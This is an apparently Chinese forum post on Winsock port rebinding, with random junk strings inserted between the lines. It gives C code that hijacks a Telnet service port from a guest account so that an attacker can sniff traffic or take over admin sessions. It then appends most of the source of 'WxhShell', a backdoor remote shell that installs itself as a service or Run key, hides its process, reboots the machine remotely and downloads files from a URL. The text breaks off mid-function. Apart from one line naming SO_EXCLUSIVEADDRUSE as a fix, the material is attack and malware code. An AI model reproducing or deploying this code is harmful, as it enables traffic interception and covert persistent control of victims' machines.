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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ZN}`A7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -9dZT  
GKoYT{6  
  saddr.sin_family = AF_INET; <SNr\/aCRi  
*F( qg%1+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Zv %>m  
~<_#%R!  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); J&aN6l?  
J2Dn  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @(#vg\UH  
PlB3"{}0Q  
  这意味着什么?意味着可以进行如下的攻击: *O$|,EsY  
*y4g\#o.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 nuq@m0t\#  
I2/am8!u%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) h ;uzbu  
YhH3fVM  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 T:Cq}4k<  
&oG>Rqkm  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  G u`xJ  
X`g<"Ka  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (1CP]5W  
5~h )pt47  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 j55_wx@cA  
$s _k/dM~&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VrW]|jIu*  
]|3hK/  
  #include F$8:9eL,T  
  #include bhUE!h<  
  #include ~u*4k:2H  
  #include    [k 7HLn)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^KbR@Ah  
  int main() Vs"b  
  { P.YT/  
  WORD wVersionRequested; 0o8`Y  
  DWORD ret; 7X( 2SI3m  
  WSADATA wsaData; 7u"Q1n(h/  
  BOOL val; %i\rw*f  
  SOCKADDR_IN saddr; $'\kK,=  
  SOCKADDR_IN scaddr; 3rRIrrYO  
  int err; m@ <,bZkl  
  SOCKET s; uRy}HLZ"  
  SOCKET sc; ]pm/5|  
  int caddsize; yq.@-]ytZ  
  HANDLE mt; boiP_*|MY  
  DWORD tid;   4(htdn6\  
  wVersionRequested = MAKEWORD( 2, 2 ); zYM2`(Z 5B  
  err = WSAStartup( wVersionRequested, &wsaData ); qq!ZYWy2  
  if ( err != 0 ) { h>V6}(~;.  
  printf("error!WSAStartup failed!\n"); l=xG<)Okb  
  return -1; le^Fik   
  } wbWC &X.  
  saddr.sin_family = AF_INET; ll5;09  
   P'h39XoZ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 JcRxNH )<"  
>4ex5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <Ch9"1f3,  
  saddr.sin_port = htons(23); UovN"8W+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YAXd   
  { +\+j/sa  
  printf("error!socket failed!\n"); ~Y43`@3H:  
  return -1; |~A*?6:@  
  } S(3h{Y"#  
  val = TRUE; iU+SXsXLR4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ir'<H<t2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &7'=t6  
  { 6`2i'flv  
  printf("error!setsockopt failed!\n"); FqJd  
  return -1; qVU<jt  
  } GipiO5)1C  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; X#T|.mCdC  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9z4F/tUq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \r aP  
$/^Y(0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3q4VH q  
  { DvhF CA}z  
  ret=GetLastError(); 1[OY- G  
  printf("error!bind failed!\n"); "#Z e3Uy\  
  return -1; &DGqY5=  
  } G!`%.tH  
  listen(s,2); =X(N+(1~  
  while(1) 'sAkrl8kt  
  { yuC"V'  
  caddsize = sizeof(scaddr); `/1rZ#  
  //接受连接请求 <nJGJ5JJ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9V)cf  
  if(sc!=INVALID_SOCKET) )*%uG{h  
  { 4r;le5@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); pKXSJ"Xo  
  if(mt==NULL) \ MuKS4  
  { CXn?~m&K  
  printf("Thread Creat Failed!\n"); EE09 Er %\  
  break; X,@nD@  
  } >#dLT~[\a  
  } 3^Is4H_8  
  CloseHandle(mt); x=0Ak'1M  
  } #}.{|'L  
  closesocket(s); k4&adX@Y  
  WSACleanup(); lYe2;bu  
  return 0; @}jg5}  
  }   &pl)E$Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) <.g)?nj1  
  { (M;d*gN r  
  SOCKET ss = (SOCKET)lpParam; 5<X"+`=9  
  SOCKET sc; >l}v _k*~B  
  unsigned char buf[4096]; 8Ud.t =2  
  SOCKADDR_IN saddr; 3q'nO-KJ  
  long num; ,6y.wNb:F  
  DWORD val; FXk*zXn6  
  DWORD ret; [*K9V/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 y=8KNseW|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8F\'? 7  
  saddr.sin_family = AF_INET; B$c'^ )  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); % A 5s?J?  
  saddr.sin_port = htons(23); L?N: 4/0;!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *#p}FB2H#  
  { D0\*WK$  
  printf("error!socket failed!\n"); %>nAPO+e  
  return -1; F6{ O  
  } _0[s]  
  val = 100; %eF=;q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k FRVW+  
  { GwgY{-|`  
  ret = GetLastError();  pb<eg,  
  return -1; Q_/UC#I8  
  } `$4wm0G|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uj}%S_9  
  { Hv"qRuQ?[  
  ret = GetLastError(); z+fy&NPl  
  return -1; b7'A5]X  
  } cooicKS7  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ='I2&I,)  
  { {'P?wv  
  printf("error!socket connect failed!\n"); =s AOWI,8!  
  closesocket(sc); 7F]oK0l_  
  closesocket(ss); Gf7r!Ur;g  
  return -1; 3-y2i/4}$  
  } 0<-A2O),  
  while(1) |p/[sD+M  
  { 9-# =xE9'U  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %7[d5[U~ZA  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !K.)Qr9V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]q #"8 =  
  num = recv(ss,buf,4096,0); m{*_%tjN0  
  if(num>0) O~Jf"Ht  
  send(sc,buf,num,0); UM1h[#?&V)  
  else if(num==0) d|tNn@jN  
  break; | v>W  
  num = recv(sc,buf,4096,0); N#OO{`":Z`  
  if(num>0) cor!Sa>  
  send(ss,buf,num,0); 2e,cE6r  
  else if(num==0) c8l\1ce?7  
  break; laCVj6Rk  
  } z/o&r`no  
  closesocket(ss); 22d>\u+c  
  closesocket(sc); .$&vSOgd(  
  return 0 ; nFwg pT  
  } x 'i~o'  
aE]RVyG@L  
dpdp0  
========================================================== j%S} T)pX  
mg3YKHNG  
下边附上一个代码,,WXhSHELL o -x=/b  
MA=gCG/JD  
========================================================== pmUC4=&e  
],<pZ1V;  
#include "stdafx.h" T~lHm  
% y` tDR  
#include <stdio.h> 74A&#ecb{  
#include <string.h> IjPt JwW`A  
#include <windows.h> QF.M%she+  
#include <winsock2.h> q\s>Oe6$  
#include <winsvc.h> 1N.weey}W  
#include <urlmon.h> qpB8ujj<V  
i:R_g]  
#pragma comment (lib, "Ws2_32.lib") i1qmFvksl  
#pragma comment (lib, "urlmon.lib") utdus:B#0  
0d,&)  
#define MAX_USER   100 // 最大客户端连接数 ,PWMl [X  
#define BUF_SOCK   200 // sock buffer 0VgsV;  
#define KEY_BUFF   255 // 输入 buffer )P W Zc?M  
|'k7 ;UW  
#define REBOOT     0   // 重启 E zU=q E  
#define SHUTDOWN   1   // 关机 ]D>\Z(b  
pr \OjpvD  
#define DEF_PORT   5000 // 监听端口 78'3&,+si  
 N,ihQB5  
#define REG_LEN     16   // 注册表键长度 f2P2wt.$  
#define SVC_LEN     80   // NT服务名长度 n~yhX%=_Du  
Gd2t^tc  
// 从dll定义API b9 l%5a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8(@(G_skp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =6, w~|W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %&$s0=+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p^QppM94  
M;X}v#l|XI  
// wxhshell配置信息 I!p[:.t7  
struct WSCFG { U7xQ 5lph  
  int ws_port;         // 监听端口 3r2e_?m  
  char ws_passstr[REG_LEN]; // 口令 F`f8q\Fc  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;`Wh^Qgi  
  char ws_regname[REG_LEN]; // 注册表键名 }@A{'q5y  
  char ws_svcname[REG_LEN]; // 服务名 >@|XY<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sc# q03  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |/RZGC4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /pgn?e'lk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yMe;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DUs0L\  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $2v{4WP7G  
Y7@$#/1  
}; fXx !_Z  
2$> <rB  
// default Wxhshell configuration Z&Z= 24q_  
struct WSCFG wscfg={DEF_PORT, w"FBJULzn9  
    "xuhuanlingzhe", FHyyZ{"  
    1, X|pOw,"  
    "Wxhshell", 3Yf!H-(\uB  
    "Wxhshell", )cRP6 =  
            "WxhShell Service", 1NU@k6UHl  
    "Wrsky Windows CmdShell Service", }ILg_>uq[  
    "Please Input Your Password: ", li)shp)  
  1, :}~B;s0M\  
  "http://www.wrsky.com/wxhshell.exe", [G}l;  
  "Wxhshell.exe" k%sh ;1.  
    }; R|t.J oP9  
#7,;/rtO7  
// 消息定义模块 ujoJ6UOG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F@@6D0\X?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; IaYy5Rw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2u^/yl  
char *msg_ws_ext="\n\rExit."; ;fKFmY41  
char *msg_ws_end="\n\rQuit."; /: }"Zb  
char *msg_ws_boot="\n\rReboot..."; ~`CWpc:  
char *msg_ws_poff="\n\rShutdown..."; 4wx _@8  
char *msg_ws_down="\n\rSave to "; k9o LJ<.k  
e_t""h4D  
char *msg_ws_err="\n\rErr!"; af;~<o a  
char *msg_ws_ok="\n\rOK!"; 8s<t* pI2  
QR{pph*zn-  
char ExeFile[MAX_PATH]; p V`)  
int nUser = 0; ood,k{  
HANDLE handles[MAX_USER]; 2mPU /  
int OsIsNt; ^yVKW5x  
+FlO_=Bu  
SERVICE_STATUS       serviceStatus; -x0u}I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S5xum_Dq  
k|F TT  
// 函数声明 P4dhP-t  
int Install(void); ]^DNzqu=@h  
int Uninstall(void); ~V!gHJ5M  
int DownloadFile(char *sURL, SOCKET wsh); lX|d:HFtP  
int Boot(int flag); " midC(rTm  
void HideProc(void); Z'4oE )  
int GetOsVer(void); iz\GahK  
int Wxhshell(SOCKET wsl); 222Mm/QN  
void TalkWithClient(void *cs); t8upS u|  
int CmdShell(SOCKET sock); ~"#[<d  
int StartFromService(void); fg0zD:@rA  
int StartWxhshell(LPSTR lpCmdLine); )2y# cM*  
.l ufE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e"ur+7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5"I8ric  
/.%AE|0+X  
// 数据结构和表定义 tU >?j1  
SERVICE_TABLE_ENTRY DispatchTable[] = _';oT*#  
{ ,e5#wz  
{wscfg.ws_svcname, NTServiceMain}, -_"6jU  
{NULL, NULL} :]k`;;vh  
}; gKWsmx!["  
U8R*i7  
// 自我安装 OykYXFv*  
int Install(void) ^+'\ u;\  
{ B@v"giJgr  
  char svExeFile[MAX_PATH]; X) xeq  
  HKEY key; 4n, >EA85  
  strcpy(svExeFile,ExeFile); q, XRb  
;-!j,V+$h  
// 如果是win9x系统,修改注册表设为自启动 M*lCoJ  
if(!OsIsNt) { zTvGku[3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w{5v*SHl}`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %XAF"J  
  RegCloseKey(key);  Oa/#2C~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jK9#. 0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  hNF.  
  RegCloseKey(key); kB $?A8Olu  
  return 0; &3%V%_  
    } ;7w4BJcq']  
  } eg Zb)pP  
} [,As;a*o  
else { LP- _i}Kq  
/D&7 \3}  
// 如果是NT以上系统,安装为系统服务 68-2EWq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l#k&&rI5x.  
if (schSCManager!=0) 4<Q^/-W  
{ Rx%SeM2  
  SC_HANDLE schService = CreateService T?V!%AqY:  
  ( v[I,N$ :  
  schSCManager, AI\|8[kf0  
  wscfg.ws_svcname, we;QrS(Hi  
  wscfg.ws_svcdisp, :o+&>z  
  SERVICE_ALL_ACCESS, b?{\t;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , < k?jt  
  SERVICE_AUTO_START, ?kKr/f4N  
  SERVICE_ERROR_NORMAL, EsKOzl[c:  
  svExeFile, Hklgf  
  NULL, Q% LQP!Kg  
  NULL, UUaC@Rs2  
  NULL, y=spD^tM8  
  NULL, =UMqa;\K  
  NULL 0s'H(qE,_  
  ); vo JmNH  
  if (schService!=0) 1&Ruz[F5  
  { 7\nR'MOZ  
  CloseServiceHandle(schService); 5T- N\)@  
  CloseServiceHandle(schSCManager); P{gy/'PH,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C3>`e3v  
  strcat(svExeFile,wscfg.ws_svcname); $K}Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -N~eb^3[c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3C7}V{?  
  RegCloseKey(key); _@:O&G2nB  
  return 0; P!K;`4Ika  
    } 8ZPjzN>c6  
  } mKN#dmw6  
  CloseServiceHandle(schSCManager); N!iugGL  
} 4%9 +="  
} 1DT}_0{0Q  
X4{O/G  
return 1; o1?bqVF;6  
} 2GC{+*  
9qXKHro  
// 自我卸载 }Z Nyd  
int Uninstall(void) 2~(\d\k  
{ [+4/M3J%  
  HKEY key; $++SF)G1]_  
rI.CCPY~s  
if(!OsIsNt) { HyKv5S$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [) S&PK  
  RegDeleteValue(key,wscfg.ws_regname); >hsvRX\_ `  
  RegCloseKey(key); yhJA{nL=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QssU\@ / Q  
  RegDeleteValue(key,wscfg.ws_regname); |\k,qVQ  
  RegCloseKey(key); g\ q*,1  
  return 0; +4]31d&3  
  } h}knn3"S  
} 5w#7B  
} T(2*P5%&  
else { w_h}c$;GK  
CPt62j8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1b4/  
if (schSCManager!=0) $zv&MD!&h  
{ nTQ&nu!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0AWOdd>.  
  if (schService!=0) v3 ]mZ}W$  
  { wi$,Y. :  
  if(DeleteService(schService)!=0) { FQW{c3%qZ  
  CloseServiceHandle(schService); *p Q'w  
  CloseServiceHandle(schSCManager); Vnvfu!>(  
  return 0; yirQ  
  } 9w:9XziT  
  CloseServiceHandle(schService); h}SP`  
  } c|KN@)A  
  CloseServiceHandle(schSCManager); ?4A$9H  
} z(g6$Y{  
} ~H1 ZQ[  
MR`lF-|a|  
return 1; 5%1a!M M M  
} }I>h<O  
b^q8s4(   
// 从指定url下载文件 i}E&mv'  
int DownloadFile(char *sURL, SOCKET wsh) +fRABY5C  
{ $l+DkR+  
  HRESULT hr; +\/1V`  
char seps[]= "/"; Wt 1]9{$  
char *token; |(77ao3  
char *file; Iq["(!7E5  
char myURL[MAX_PATH]; Ka+N5 T.f  
char myFILE[MAX_PATH]; [B+]F~}@  
eb#p-=^KP  
strcpy(myURL,sURL); ]**h`9MF  
  token=strtok(myURL,seps); yh:Wg$qx  
  while(token!=NULL) SQ0?M\D7  
  { }K'gjs/N;  
    file=token; }Md5a%s<  
  token=strtok(NULL,seps); fs,]%g^  
  } jhF&   
X5w_ }Nhe  
GetCurrentDirectory(MAX_PATH,myFILE); ])tUXU>  
strcat(myFILE, "\\"); }{y(&Oy3Y  
strcat(myFILE, file); x?rn< =  
  send(wsh,myFILE,strlen(myFILE),0); 2.PZtl  
send(wsh,"...",3,0); OLs<]0H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K);)$8K  
  if(hr==S_OK) 3GVS-?  
return 0; yhG%@vSq  
else |zCT~#  
return 1; 4157!w'\y  
U *K6FWqiB  
} VAnP3:  
> Sc/E}3  
// 系统电源模块 "%E<%g  
int Boot(int flag) tQ7:4._  
{ (mOL<h[)IP  
  HANDLE hToken; rJ=r_v  
  TOKEN_PRIVILEGES tkp; Xdl7'~k  
?4%@"49n X  
  if(OsIsNt) { ]TX"BH"2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3)0z(30  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gUWW}*\ U  
    tkp.PrivilegeCount = 1; E - +t[W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (\$=de>?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =;A >1g$  
if(flag==REBOOT) { oo-O>M#5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KJP}0|[  
  return 0; qLWM,[Og  
} ec3zoKtV  
else { dng^#|X)?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >i!y[F  
  return 0; v9"|VhZ  
} k(ho?  
  } [x8_ax} w  
  else { 1G<S'd+N  
if(flag==REBOOT) { .Q5zmaA]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )j\9IdkU;y  
  return 0; T-a [  
} XmAu n  
else { 4l rKU^-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VKMgcfbHr/  
  return 0; CEh!X=Nn  
} aE 2=  
} 0T2^$^g  
'PWX19  
return 1; y%!zXK`cl]  
} {!>'# F^e  
:`B70D8ku  
// win9x进程隐藏模块 ^ /ZNdwx  
void HideProc(void) t>}(` 0  
{ VOGx  
vw w>]Z}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Zdy{e|-Zn  
  if ( hKernel != NULL ) V~MyX&`  
  { +F]=Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >qS2ha  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Plj>+XRO  
    FreeLibrary(hKernel); )<(3 .M  
  } }Uue}VOA  
J;*2[o.N  
return; 3<O=,F  
} jp880}  
Rrw6\iO  
// 获取操作系统版本 8DkZ @}  
int GetOsVer(void) o3cE.YUF  
{ PS$g *x  
  OSVERSIONINFO winfo; "@YtxYTW-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tSVU,m  
  GetVersionEx(&winfo); !QlCt>{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9Ecc~'f  
  return 1; pmc)$3u  
  else Go)}%[@w  
  return 0; K1CgM1v  
} w0PAtu  
3R<VpN){  
// 客户端句柄模块 PwnfXsR  
int Wxhshell(SOCKET wsl) dR!x)oO=  
{ SZD7"m4  
  SOCKET wsh; B|ctauJ  
  struct sockaddr_in client; vD76IG jm  
  DWORD myID; 3$4I  
{[~dI ~  
  while(nUser<MAX_USER) #ON^6f2  
{ sL)7MtNwy  
  int nSize=sizeof(client); "EBCf.3-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q9k;PJ`@  
  if(wsh==INVALID_SOCKET) return 1; ^VsE2CX  
nQ@<[KNd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4}-G<7*  
if(handles[nUser]==0) m:Fdgu9  
  closesocket(wsh); lUIh0%O  
else sspGB>h8l  
  nUser++; zNM*xPgS  
  } L, 2;-b|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H"c2kno9  
fyEXnmB;  
  return 0; L KLLBrm:  
} A "/|h].  
/h 4rW>8D2  
// 关闭 socket )Lg~2]'?j  
void CloseIt(SOCKET wsh) C9 j{:&  
{ 9L>73P{_  
closesocket(wsh); 0IyT(1hS  
nUser--; 3QCCX$,  
ExitThread(0); qOflvf  
} S2 MJb  
%-<6Z9otc  
// 客户端请求句柄 V;"Rp-`^  
void TalkWithClient(void *cs) !b?cY{  
{ K!(hj '0.  
U#`2~Qv/1  
  SOCKET wsh=(SOCKET)cs; D*'sOB(  
  char pwd[SVC_LEN]; B\tm  
  char cmd[KEY_BUFF]; iL|5}x5\  
char chr[1]; ujf7r`;u.  
int i,j; M'JCT'(X  
Q_`EKz;N{  
  while (nUser < MAX_USER) { :}CcWfbT  
T%aM~dp  
if(wscfg.ws_passstr) { [e o=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r<B pX["  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &q +l5L"  
  //ZeroMemory(pwd,KEY_BUFF); C=t9P#g*.  
      i=0; O*yA50Cn  
  while(i<SVC_LEN) { h0")NBRV&  
Ro=dgQ0:t  
  // 设置超时 ,I H~  
  fd_set FdRead; vCUbbQz  
  struct timeval TimeOut; DDj:(I?,w  
  FD_ZERO(&FdRead); AWg'J  
  FD_SET(wsh,&FdRead); "A0y&^4B@  
  TimeOut.tv_sec=8; Bm;: cmB0e  
  TimeOut.tv_usec=0; 9W&nAr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :r7!HG _  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !Y 9V1oVf"  
7bQST0 ?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T1%}H3  
  pwd=chr[0]; xT-`dS0u  
  if(chr[0]==0xd || chr[0]==0xa) { ^O!;KIe{g  
  pwd=0; TLq^5,qG  
  break; Js^(mRv=  
  } Zr(eH2}0D  
  i++; Kw(S<~9-@  
    } "q KVGd  
rdsZ[ii  
  // 如果是非法用户,关闭 socket @sUec  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UG3}|\.u  
} ^].U?t.n)  
F<b/)<Bm=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Rh%@N.Z*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *y', eB  
}*S`1IWMj  
while(1) { S~)_=4Z  
j /@<=  
  ZeroMemory(cmd,KEY_BUFF); tJ .Ln  
Z29LtKr  
      // 自动支持客户端 telnet标准   jhJ<JDJ?`  
  j=0; '(-H#D.oy'  
  while(j<KEY_BUFF) { O;|jLf_If  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a:;7'w'  
  cmd[j]=chr[0]; 'K\H$<CJ  
  if(chr[0]==0xa || chr[0]==0xd) { g_rk_4]  
  cmd[j]=0; Eqi;m,)  
  break; pG22Nx  
  } sFHqLG{/  
  j++; 'uF-}_ |  
    } ([#'G+MC&  
={51fr/C%  
  // 下载文件 ' H4m"  
  if(strstr(cmd,"http://")) { yCuLo`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *P|~v Cnr  
  if(DownloadFile(cmd,wsh)) P9 y+rF.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6}~k4;'}A  
  else 7}e5ac  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5Pf)&iG  
  } {$ > .I  
  else { dKhS;!K9p  
FAX[| p  
    switch(cmd[0]) { 8_pyfb  
  nJ$2RN  
  // 帮助 ].sD#~L_  
  case '?': { C-g,uARX(r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /1_O5'5+v  
    break; wPq9`9 #  
  } Xka+1c  
  // 安装 %<8r`BMo  
  case 'i': { WJ^]mpH9  
    if(Install()) EMpq+LrN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2:<H)oB  
    else JeF$ W!!{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bd- &~s^  
    break; K_k'#j~*?  
    } ))<vCfuz2  
  // 卸载  S9^S W3  
  case 'r': { X_!km-{  
    if(Uninstall()) h50]%tp\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x U"g~hT  
    else Pz\ByD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [XubzZ9  
    break; *rB@[ (/  
    } !yr4B "kz  
  // 显示 wxhshell 所在路径 PF#<CF$=  
  case 'p': {  P1)87P  
    char svExeFile[MAX_PATH]; fs-LaV 0  
    strcpy(svExeFile,"\n\r"); tx)$4v  
      strcat(svExeFile,ExeFile); R0mkEM  
        send(wsh,svExeFile,strlen(svExeFile),0); j<`3xd'  
    break; 2R,8q0qR:  
    } X|D-[|P  
  // 重启 M8$e MS1  
  case 'b': { 4* I XBi7%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5z2("[8L&  
    if(Boot(REBOOT)) FM(EOsWk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4S4gK   
    else { pjQyN|KS  
    closesocket(wsh); 1yqsE`4f  
    ExitThread(0); q*tGlM@R?  
    } bZ:xH48MY  
    break; Bs|Xq'1M!;  
    } %yd(=%)fMB  
  // 关机 A&M(a  
  case 'd': { Z1:<i*6>D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;?q}98-2  
